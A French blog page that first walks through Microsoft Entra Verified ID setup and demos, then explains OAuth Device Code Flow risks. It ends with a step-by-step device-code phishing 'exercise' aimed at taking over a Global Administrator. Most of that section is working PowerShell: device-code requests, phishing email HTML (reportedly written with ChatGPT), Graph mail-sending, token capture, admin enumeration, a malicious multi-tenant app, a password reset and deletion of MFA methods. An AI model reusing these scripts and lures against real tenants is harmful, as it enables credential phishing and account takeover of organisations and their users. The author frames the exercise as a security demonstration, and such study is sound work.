Entra Verified ID

Dans un monde où nos vies numériques et physiques sont inextricablement liées, la sécurité des identités est primordiale. Les violations de données et l’usurpation d’identité sont des menaces croissantes.

Pour contrer cela, Microsoft s’intègre dans l’idée d’une solution innovante d’identité décentralisée qui donne aux utilisateurs le contrôle de leurs informations, éliminant la dépendance aux autorités centralisées et aux intermédiaires. Voici d’ailleurs ici quelques notions présentées par Microsoft.

Et voilà les différents points abordés dans cet article :

Pourquoi imaginer des identités décentralisées ?

Notre identité numérique est utilisée partout, souvent sans notre consentement éclairé. Actuellement, nos données sont contrôlées par des tiers, ce qui présente des risques de sécurité. Une identité décentralisée permet aux utilisateurs de contrôler et sécuriser leurs informations personnelles :

Microsoft travaille-t-il seul dans son coin ?

La réponse est bien évidemment non 🙏

Microsoft collabore activement avec les membres de la DIF (Decentralized Identity Foundation), du W3C Credentials Community Group et de la communauté plus étendue en lien avec l’identité. Nous avons travaillé avec ces groupes pour identifier et développer des normes critiques, et les normes suivantes ont été implémentées dans nos services.

Microsoft Learn

Qu’est-ce que sont les identificateurs décentralisés (DID) ?

Les DID sont des identifiants uniques créés et contrôlés par les utilisateurs, résistants à la censure et immuables. Ils permettent de prouver des informations sans dépendre de systèmes centralisés :

Qu’est-ce qu’un justificatif vérifiable ?

Les justificatifs vérifiables sont des attestations numériques signées par des entités de confiance. Ils fonctionnent comme des preuves de diplômes, permis ou autres certifications, mais sous une forme numérique sécurisée.

L’application France Identité en est d’ailleurs un bonne exemple puis qu’elle permet le stockage des nouvelles cartes d’identité française ou le permis de conduire :

Comment fonctionne l’identité décentralisée ?

Nous avons besoin d’une nouvelle forme d’identité. Nous avons besoin d’une identité capable de réunir des technologies et des normes pour fournir des attributs d’identité clés tels que l’indépendance et la résistance à la censure. Ces fonctionnalités sont difficiles à obtenir à l’aide des systèmes existants.

Pour y parvenir, il nous faut nous appuyer sur une base technique composée de sept innovations clés. Les identificateurs détenus par l’utilisateur constituent l’une de ces innovations clés, un agent utilisateur pour gérer les clés associées à ces identificateurs et les magasins de données chiffrés et contrôlés par l’utilisateur.

1. Identificateurs décentralisés (DID) W3C. ID créés, détenus et contrôlés par les utilisateurs indépendamment de toute organisation ou de tout gouvernement. Les DID sont des identificateurs globaux uniques liés à des métadonnées DPKI (Decentralized Public Key Infrastructure) composés de documents JSON contenant des éléments de clé publique, des descripteurs d’authentification et des points de terminaison de service.

2. Système d’approbation. Pour pouvoir résoudre les documents DID, les DID sont généralement enregistrés sur un réseau sous-jacent d’un type qui représente un système d’approbation. Microsoft prend actuellement en charge le système d’approbation DID :Web. DID:Web est un modèle basé sur des autorisations qui autorise l’approbation à l’aide de la réputation existante d’un domaine web. DID:Web est dans l’état de pris en charge Disponibilité générale.

3. Agent utilisateur/Portefeuille DID : application Microsoft Authenticator. Permet aux personnes réelles d’utiliser des identités décentralisées et des justificatifs vérifiables. Authenticator crée des DID, facilite les demandes d’émission et de présentation de justificatifs vérifiables, et gère la sauvegarde de la valeur initiale de la requête dans un fichier portefeuille chiffré.

4. Outil de résolution Microsoft. API qui recherche et résout les DID à l’aide de la méthode did:web et retourne le DDO (DID Document Object). Le DDO comprend les métadonnées DPKI associées au DID telles que les clés publiques et les points de terminaison de service.

5. Service Vérification d’identité Microsoft Entra. Service d’émission et de vérification dans Azure et API REST pour Justificatifs vérifiables W3C signés avec la méthode did:web. Ils permettent aux propriétaires d’identité de générer, présenter et vérifier les revendications. Ils constituent la base de confiance entre les utilisateurs des systèmes.

Microsoft Learn

Comment puis-je facilement tester les identités vérifiées ?

Par cet exercice d’identité vérifiée proposé par Microsoft, le processus devrait vous paraître plus concret. Voici l’explication du contexte de cet démonstration

  • Woodgrove est une société privée.
  • Proseware, une société qui offre des remises aux employés de Woodgrove.
  • Alice, une employée de Woodgrove souhaite obtenir une remise tarifaire sur les produits Proseware

Voici les différentes étapes de cet exercice :

  • Etape 1 : Obtention d’une identité vérifiée en relation avec une identité physique
  • Etape 2 : Utilisation de l’identité vérifié pour accéder aux ressources d’entreprise
  • Etape 3 : Utilisation de l’identité vérifié pour accéder aux ressources tierces

Si vous ne souhaitez pas faire cet exercice par vous-même, j’ai retrouvé une vidéo retraçant les différentes étapes :

Le seul prérequis nécessaire pour réaliser cet exercice est de disposer de Microsoft Authenticator sur son smartphone.

Pour réaliser cet exercice, rendez-vous sur cette page, renseignez des informations fictives, puis cliquez sur Suivant :

Cliquez-ici pour obtenir une identité vérifiée :

Cliquez-ici pour prendre une photographie fictive :

Cliquez-ici pour téléverser une copie d’une identité gouvernementale fictive :

Cliquez sur Suivant :

Attendez quelques secondes, puis cliquez sur OK :

Votre identité fictive a bien généré une identité vérifiée que nous allons maintenant récupérer :

Pour cela, ouvrez Microsoft Authenticator sur votre smartphone afin de scanner le QR code généré pour cette identité vérifiée :

La page web s’actualise et vous demande de reproduire le code PIN sur votre Smartphone :

Cliquez sur Suivant :

Cliquez sur Ajouter :

La page web s’actualise pour vous confirmer le succès de la récupération de l’identité vérifiée sur votre application Microsoft Authenticator, et vous invite ensuite à retourner sur la page principale :

L’étape 2 est automatiquement validée par le fait de disposer cette identité vérifiée sur votre application Microsoft Authenticator :

L’identité vérifiée s’intègre dans la liste des identités vérifiées sauvegardées, cliquez sur celle-ci :

Constatez les informations Entra ID stockées dans cette identité vérifiée :

Un autre onglet affiche l’historique des actions associées à cette identité vérifiée :

Toujours sur le portail web, cliquez-ici pour utiliser cette identité vérifiée pour vous authentifier sur portail employé de votre entreprise :

Scanner le QR code suivant afin d’autoriser le partage de votre identité vérifiée avec votre entreprise Woodgrove :

Utilisez la fonction suivante pour scanner le QR code généré :

Le site web est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Choisissez l’identité vérifiée à partager avec l’entreprise Woodgrove, puis confirmez le partage en cliquant ici :

Le site web de votre entreprise Woodgrove s’actualise et vous invite maintenant à continuer pour accéder au portail employé :

Une nouvelle activité liée à Woodgrove s’ajoute sur votre identité vérifiée :

Retournez sur le portail employé de votre entreprise Woodgrove afin de tester la validité de votre identité vérifiée par ce lien :

Un nouvel onglet s’ouvre à destination d’un site de vente fictif appelé Proseware :

Afin de profiter de rabais intéressant, une identification entreprise est nécessaire chez Proseware. Pour cela, cliquez sur le bouton suivant pour accéder aux prix remisés :

Cliquez sur le choix suivant afin d’utiliser votre nouvelle identité vérifiée :

Comme votre identité vérifiée est stockée sur votre application Microsoft Authenticator, un QR code est généré par Proseware afin de partager des informations d’identification :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivant pour scanner le QR code généré par Proseware :

Le site web de Proseware est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Choisissez l’identité vérifiée à partager avec Proseware, puis confirmez le partage en cliquant ici :

Le site web de Proseware s’actualise et affiche maintenant des tarifs remisés selon votre identité vérifiée :

Une nouvelle activité Proseware s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Peut-on mettre en place les identités vérifiées sur Entra ID ?

Oui, il est possible de mettre en place les identités vérifiées sur Microsoft Entra ID. Voici quelques étapes clés pour commencer :

  1. Configurer votre locataire Microsoft Entra : Vous devez d’abord configurer votre locataire pour la vérification d’identité.
  2. Créer des informations d’identification vérifiables : Utilisez le portail Microsoft Entra pour créer et émettre des informations d’identification personnalisées.
  3. Utiliser des outils et des exemples de code : Microsoft fournit des exemples de code et des guides pour vous aider à émettre et vérifier des informations d’identification vérifiables.

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route d’Entra Verified ID.

Deux options de mise en place s’offrent alors à vous :

Pour notre démonstration, choisissez la configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour ce service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Retournez sur cette même page afin de constater l’apparition de nouveaux menus, ainsi que l’apparition d’un rendu graphique de l’identité vérifiée générée sur votre tenant :

Cliquez-ici afin de contrôler qui sur votre tenant peut obtenir une identité vérifiée :

Par défaut, tous les utilisateurs de votre tenant peuvent obtenir une identité vérifié. Cette option reste modifiable via ces 2 champs :

Retournez sur la page précédente afin d’obtenir une identité vérifiée sur votre compte Entra actuel :

Ce lien ouvre un nouvel onglet vers la page Mon Compte :

Cliquez-ici pour obtenir votre identité vérifiée :

Un QR code est alors généré et valable pendant 5 minutes :

Sur votre smartphone, ouvrez l’application Microsoft Authenticator, puis rendez-vous dans le menu suivant afin de scanner le QR Code :

L’identité vérifiée associée au QR code est reconnue, Microsoft Authenticator vous propose de l’ajouter à votre portefeuille d’identités vérifiées :

Cette dernière s’intègre alors dans la liste des identités vérifiées déjà sauvegardées :

Cliquez dessus afin de constater les informations Entra ID stockées dans cette identité vérifiée :

Ces informations ont été rendues accessibles par le biais de la configuration de l’identité vérifiée de votre tenant :

Toujours sur l’application Microsoft Authenticator, un autre onglet affiche l’historique des actions associées à cette identité vérifiée :

Retournez sur le portail Entra ID afin de tester la validité de votre identité vérifiée par ce lien :

Un nouvel onglet s’ouvre à destination d’un site de vente fictif appelé Proseware :

Afin de profiter de rabais intéressant, une identification est nécessaire chez Proseware. Pour cela, cliquez sur le bouton suivant pour accéder aux prix remisés :

Cliquez sur le choix suivant afin d’utiliser votre nouvelle identité vérifiée :

Comme votre identité vérifiée est stockée sur votre application Microsoft Authenticator, un QR code est généré par Proseware afin de partager des informations d’identification :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivant pour scanner le QR code généré par Proseware :

Le site web de Proseware est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Confirmez le partage en cliquant ici :

Le site web de Proseware s’actualise et affiche maintenant des tarifs remisés selon votre identité vérifiée :

Une nouvelle activité Proseware s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Enfin, une fonction de révocation est même disponible via la page de configuration d’Entra ID :

Et il semble également possible de retirer le service déjà configuré d’identités vérifiées sur un tenant :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
